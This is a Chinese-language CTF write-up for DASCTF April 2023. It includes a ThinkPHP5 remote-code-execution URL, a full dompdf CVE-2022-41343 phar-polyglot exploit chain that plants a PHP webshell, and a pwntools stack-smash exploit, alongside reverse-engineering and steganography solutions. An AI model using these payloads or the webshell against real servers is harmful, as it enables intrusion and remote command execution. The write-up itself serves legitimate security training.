您现在的位置是:首页 >技术杂谈 >DASCTF Apr.2023 X SU Writeup By AheadSec网站首页技术杂谈
DASCTF Apr.2023 X SU Writeup By AheadSec
战队的每位同学辛苦了~
Web: Nacl
Pwn: zsNick
Reverse: kcldah
Misc: mochu7
最终第15名
Web
pdf_converter
这题非预期了,有个Thinkphp5的代码执行未修复
http://6399e5ef-2a0f-4320-a88d-1eac8ce4761e.node4.buuoj.cn:81/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+%2Fflag
参考链接:https://www.cnblogs.com/backlion/p/10106676.html
pdf_converter_revenge
- CVE-2022-41343: https://tantosec.com/blog/cve-2022-41343
这里是Thinkphp5
+dompdf
直接按照上面大佬的CVE文章打就行
#!/usr/bin/env python3
import fontforge
import os
import sys
import tempfile
from typing import Optional
def main():
sys.stdout.buffer.write(do_generate_font())
def do_generate_font() -> bytes:
fd, fn = tempfile.mkstemp(suffix=".ttf")
os.close(fd)
font = fontforge.font()
font.copyright = "DUMMY FONT"
font.generate(fn)
with open(fn, "rb") as f:
res = f.read()
os.unlink(fn)
result = res
return result
if __name__ == "__main__":
main()
生成font.ttf
python generate_font.py > font.ttf
然后用https://github.com/ambionics/phpggc里面的ThinkPHP 5.0.24
的链子
php -d phar.readonly=0 phpggc ThinkPHP/RCE2 system "echo '<?php system($_GET[0]); ?>' > /var/www/html/public/mochu7.php" -p phar -pp font.ttf -o font-polyglot.phar
生成payload
#!/usr/bin/env python3
import argparse
import hashlib
import base64
import urllib.parse
import os
PAYLOAD_TEMPLATE_URL_ENCODED = '''
<style>@font-face+{+font-family:'exploit';+src:url('%s');+font-weight:'normal';+font-style:'normal';}</style>
'''
PAYLOAD_TEMPLATE = '''
<style>
@font-face {
font-family:'exploit';
src:url('%s');
font-weight:'normal';
font-style:'normal';
}
</style>
'''
def get_args():
parser = argparse.ArgumentParser( prog="generate_payload.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will generate payloads for CVE-2022-41343
''')
parser.add_argument("file", help="Polyglot File")
parser.add_argument("-p", "--path", default="/var/www/", help="Base path to vendor directory (Default = /var/www/)")
args = parser.parse_args()
return args
def main():
args = get_args()
file = args.file.strip()
path = args.path.strip()
if(os.path.exists(file)):
generate_payloads(file, path)
else:
print("ERROR: File doesn't exist.")
def generate_payloads(file, path):
with open(file, "rb") as f:
fc = f.read()
b64 = base64.b64encode(fc)
data_uri_pure = "data:text/plain;base64,%s" % b64.decode()
data_uri_double_encoded = "data:text/plain;base64,%s" % urllib.parse.quote_plus(urllib.parse.quote_plus(b64.decode()))
md5 = hashlib.md5(urllib.parse.unquote(data_uri_double_encoded).encode()).hexdigest()
# 计算md5这里,因为大佬这里是两次url编码,但是上传之后服务器接收会解一次url,dompdf真正处理的数据应该是经过一次url解码的数据,所以计算md5需要解一次url编码才是正确的文件名
phar_uri = "phar://%s/vendor/dompdf/dompdf/lib/fonts/exploit_normal_%s.ttf##" % (path,md5)
req1_enc = PAYLOAD_TEMPLATE_URL_ENCODED % data_uri_double_encoded
req2_enc = PAYLOAD_TEMPLATE_URL_ENCODED % urllib.parse.quote_plus(phar_uri)
req1_pure = PAYLOAD_TEMPLATE % data_uri_double_encoded
req2_pure = PAYLOAD_TEMPLATE % phar_uri
print("====== REQUEST 1 ENCODED =======")
print(req1_enc)
print("====== REQUEST 2 ENCODED =======")
print(req2_enc)
print("====== REQUEST 1 NOT ENCODED =======")
print(req1_pure)
print("====== REQUEST 2 NOT ENCODED =======")
print(req2_pure)
if __name__ == "__main__":
main()
python generate_payloa.py -p "/var/www/html" font-polyglot.phar
写入phar
<style>@font-face+{+font-family:'exploit';+src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTZ29lSMAAAV0AAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFbAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZCE99jMAAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lwP4AwgAAA2AAAAHmcG9zdP%252B3ADIAAAVIAAAAIgABAAAAAQAAX%252Bo3Wl8PPPUACwPoAAAAAOBqWVoAAAAA4GpZWgAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUAEAEJAAEAAAAAAAYACQEuAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAIADnAAMAAQQJAAYAEgEaAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMgAzAC0ANAAtADIAMAAyADMAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAyMy00LTIwMjMAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwACAAAFZlcnNpb24gMDAxLjAwMCAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAAAAgAAAAAAAP%252B1ADIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB%252F%252F8AAgAAAAEAAAAA3OjibgAAAADgallaAAAAAOBqWVo8P3BocCBfX0hBTFRfQ09NUElMRVIoKTsgPz4NCnwKAAABAAAAEQAAAAEAAAAAAEYKAABPOjI3OiJ0aGlua1xwcm9jZXNzXHBpcGVzXFdpbmRvd3MiOjE6e3M6MzQ6IgB0aGlua1xwcm9jZXNzXHBpcGVzXFdpbmRvd3MAZmlsZXMiO2E6MTp7aTowO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo1OntzOjk6IgAqAGFwcGVuZCI7YToxOntpOjA7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjMwOiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZWQiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjc6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZSI6Mzp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTowO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjA6IiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjEwOiIAKgBoYW5kbGVyIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoyOntzOjY6IgAqAGdldCI7YToxOntzOjE4OiJIRVhFTlM8Z2V0QXR0cj5ubzwiO3M6Njc6ImVjaG8gJzw%252FcGhwIHN5c3RlbSgkX0dFVFswXSk7ID8%252BJyA%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%252Bbm88IjtzOjY3OiJlY2hvICc8P3BocCBzeXN0ZW0oJF9HRVRbMF0pOyA%252FPicgPiAvdmFyL3d3dy9odG1sL3B1YmxpYy9tb2NodTcucGhwIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czo2OiIAKgB0YWciO2I6MTt9czo5OiIAKgBjb25maWciO2E6Nzp7czo0OiJob3N0IjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjExMjExO3M6NjoiZXhwaXJlIjtpOjM2MDA7czo3OiJ0aW1lb3V0IjtpOjA7czoxMjoic2Vzc2lvbl9uYW1lIjtzOjY6IkhFWEVOUyI7czo4OiJ1c2VybmFtZSI7czowOiIiO3M6ODoicGFzc3dvcmQiO3M6MDoiIjt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX19fQgAAAB0ZXN0LnR4dAQAAABNyURkBAAAAAx%252Bf9i2AQAAAAAAAHRlc3SR0b%252FMLHt34qj9n5u4TVz1aKI3qgIAAABHQk1C');+font-weight:'normal';+font-style:'normal';}</style>
触发phar
<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_c9496c4620d0791a2abe018a3919a4e8.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>
Pwn
four
- 开始代码审计 还是后来官⽅方出了了提示 有了了思路路
- 首先选项2方法
栈喷射: 极⼤大值写⼊入复字符串串’flagx00’ 跳过加密 不能影响字符串串 - 选项3方法
输⼊入字符串串output.txt 绕过if代码块 让dest变量量成功继承到 上⼀一步栈喷射的'flagx00'
可以open('flag')
了 - 选项4方法 一段for循环的ascii码操作计算
第一层if是在进行read函数的fd参数 文件描述符的赋值 检测到~号,将它后⼀位数组元素赋值为 文件描述符
第⼆层if是在进行read函数的写⼊地址参数 赋值, 检测到:号,将它后3位数组元素赋值为 写⼊地址
第三层if是在进行read函数的写⼊长度参数 赋值,检测到@和*符号之间有⼩写字母a~z 把⼩写字母的ascii码作为写⼊长度
等于上⾯面三层if 完成了了read函数的参数赋值
这边是构造成了了read(3,0x602121,97)
的执⾏效果 把选项3⽅法的open('flag')
⾥的内容写入 到 0x602121
地址处,可以写⼊97长度
- 选项5 通过gdb调试 得到栈上变量与
argv[0]
的地址偏移
通过栈溢出往argv[0]
写⼊存储了了flag内容的 地址:0x602121
- 执行脚本 stack mash攻击:
导致打印stack smashing detected:argv[0]
. 也就是会打印出 我们写入的 flag内容
from pwn import *
io = remote(b'node4.buuoj.cn', 27513)
io.sendlineafter(b'your choice :
', b'2')
#写入极大size值
io.sendlineafter(b'You can give any value, trust me, there will be no overflow
', p64(0x5FF0-8))
#一共 0x5f02字节 写入极大重复长度 打栈喷射 让选项3的方法里 dest变量继承到 栈喷射的野数据 也就'flagx00'
io.sendlineafter(b'Actually, this function doesn't seem to be useful
', b'aa'+b'flagx00'*0x1000)
io.send(b'
')#跳过加密 直接返回
# gdb.attach(sh, 'b open
b *0x4013c1')
io.sendlineafter('your choice :
', b'3')
io.sendlineafter('Enter level:', b'1')
io.sendlineafter('Enter mode:', b'1')
io.sendlineafter('Enter X:', b'1')
io.sendlineafter('Enter a string: ', b'aaa')
io.sendlineafter('please input filename
', b'output.txt')
io.sendlineafter('1. yes
2.no
', b'2')#结束 不能关闭fd的文件流通道
io.sendlineafter('your choice :
', b'4')
"""
x60x21x21是写入地址
@a*是写入长度 97: a的ascii码
~3是文件操作符 赋值为3
"""
# sh.sendlineafter(b'info>>
', b'11>:`!!>@a*>~3') # `!! 是对x60 x21 x21的ascii转化字符
io.sendlineafter('info>>
', b'11>:x60x21x21>@a*>~3') #载入bss地址
io.sendlineafter('your choice :
', b'5')
#stack smash 栈溢出覆盖argv[0]为 存放flag的地址
io.sendlineafter('This is a strange overflow. Because of canary, you must not hijack the return address
', b'a' * 0x118 + p64(0x602121))
io.interactive()
Reverse
easyRE
使用exeinfo打开,发现是python逆向
这里直接使用 pyinstxtractor 提取 pyc文件,入口pyc文件为easyRE.pyc
可以看到的是 python3.11版本,uncompyle 最高支持到3.10
直接使用python的dis库,不熟悉的可以对照参考 https://docs.python.org/3/library/dis.html , 使用dis读取文件并且打印,控制台字节码脚本
import dis
import marshal
# 打开pyc文件,
with open('./easyRE.pyc', 'rb') as f:
# python3 的magic是16位的
f.seek(16)
# 反汇编为字节码
dis.dis(marshal.load(f))
反汇编字节码,不熟悉可以参照: https://docs.python.org/3/library/dis.html#python-bytecode-instructions
0 0 RESUME 0
# 导入 random模块
1 2 LOAD_CONST 0 (0)
4 LOAD_CONST 1 (None)
6 IMPORT_NAME 0 (random)
8 STORE_NAME 0 (random)
3 10 PUSH_NULL
12 LOAD_NAME 0 (random)
14 LOAD_ATTR 1 (Random)
24 LOAD_CONST 2 (322376503)
26 PRECALL 1
30 CALL 1
40 STORE_NAME 2 (r)
6 42 PUSH_NULL
44 LOAD_NAME 3 (input)
46 LOAD_CONST 3 ('Enter your flag: ')
48 PRECALL 1
52 CALL 1
62 LOAD_METHOD 4 (encode)
84 PRECALL 0
88 CALL 0
98 STORE_NAME 5 (pt)
8 100 LOAD_CONST 4 (b'x8bxcckxd3xedx96xffFbx06rx085x82xbc xb2xde)px88Q`x1bfx18xb6QUSwx10xcdxd9x13A$x86xe5xcdxd9xff')
102 STORE_NAME 6 (ct)
10 104 BUILD_LIST 0
106 STORE_NAME 7 (buf)
12 108 LOAD_NAME 5 (pt)
110 GET_ITER
>> 112 FOR_ITER 46 (to 206)
114 STORE_NAME 8 (b)
13 116 LOAD_NAME 7 (buf)
118 LOAD_METHOD 9 (append)
140 LOAD_NAME 2 (r)
142 LOAD_METHOD 10 (randint)
164 LOAD_CONST 0 (0)
166 LOAD_CONST 5 (255)
168 PRECALL 2
172 CALL 2
182 LOAD_NAME 8 (b)
184 BINARY_OP 12 (^)
188 PRECALL 1
192 CALL 1
202 POP_TOP
204 JUMP_BACKWARD 47 (to 112)
15 >> 206 PUSH_NULL
208 LOAD_NAME 11 (bytes)
210 LOAD_NAME 7 (buf)
212 PRECALL 1
216 CALL 1
226 LOAD_NAME 6 (ct)
228 COMPARE_OP 2 (==)
234 POP_JUMP_FORWARD_IF_TRUE 2 (to 240)
236 LOAD_ASSERTION_ERROR
238 RAISE_VARARGS 1
17 >> 240 PUSH_NULL
242 LOAD_NAME 12 (print)
244 LOAD_CONST 6 ('Correct!')
246 PRECALL 1
250 CALL 1
260 POP_TOP
262 LOAD_CONST 1 (None)
264 RETURN_VALUE
通过对照,得到代码,可以看到内容就是一个异或
import random
r = random.Random(322376503)
pt = input('Enter your flag: ').encode()
ct = b'x8bxcckxd3xedx96xffFbx06rx085x82xbc '
b'xb2xde)px88Q`x1bfx18xb6QUSwx10xcdxd9x13A$x86xe5xcdxd9xff'
buf = []
for b in pt:
buf.append(r.randint(0, 255) ^ b)
if bytes(buf) == ct:
print('Correct')
解题脚本,直接异或
import random
r = random.Random(322376503)
ct = b'x8bxcckxd3xedx96xffFbx06rx085x82xbc '
b'xb2xde)px88Q`x1bfx18xb6QUSwx10xcdxd9x13A$x86xe5xcdxd9xff'
for b in ct:
print(chr(r.randint(0, 255) ^ b), end='')
Misc
secret of bkfish
附加的图片用Stegsolve
可以看出Red 0
通道有数据
保存出来,一开始还是以为真是什么军用级别加密,去找了浪费很多时间没线索,结果看到这么多0xFF
有点觉得是异或
尝试了第一个字符之后更加确定是直接异或0xff
DASCTF{wE1ComE_t0_DAsc7f_x_Su__apri1}
Ge9ian’s Girl
two.rar
有密码,分析one.docx
,有隐藏字符
选中隐藏字符右键取消隐藏字符
选项,然后赋值出来,或者修改docx
后缀为zip
找到document.xml
复制出来,出来也可以,根据信息提示找到:Twitter Secret Messages - Steganography:https://holloway.nz/steg/
得到压缩包密码解压
JPG字节流,而且据观察应该连续的
使用脚本简单拼接处理
with open('flag.jpg', 'wb') as f1:
for i in range(1, 521):
filename = "./two/" + str(i) + ".txt"
with open(filename, 'rb') as f:
f1.write(f.read())
补全jpg文件头,添加三个字节在文件头:FF D8 FF
得到图片,并且在EXIF中有明显提示OurSecret
并且给了密码,直接解就完事了
DASCTF{426cb864312d5e30e3eef2950ea4826c}